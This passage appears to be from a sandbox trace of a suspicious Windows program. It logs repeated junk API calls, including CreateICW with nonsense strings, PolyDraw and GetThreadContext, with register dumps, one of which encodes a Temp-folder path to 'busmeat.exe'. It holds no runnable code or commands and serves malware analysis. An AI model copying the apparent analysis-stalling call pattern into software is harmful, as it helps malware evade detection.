[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.274] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.276] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.276] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.276] GetConsoleCP () returned 0x0
	[0066.276] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.276] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.276] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.276] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.276] GetConsoleCP () returned 0x0
	[0066.276] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.277] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.277] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.277] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.277] GetConsoleCP () returned 0x0
	[0066.277] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 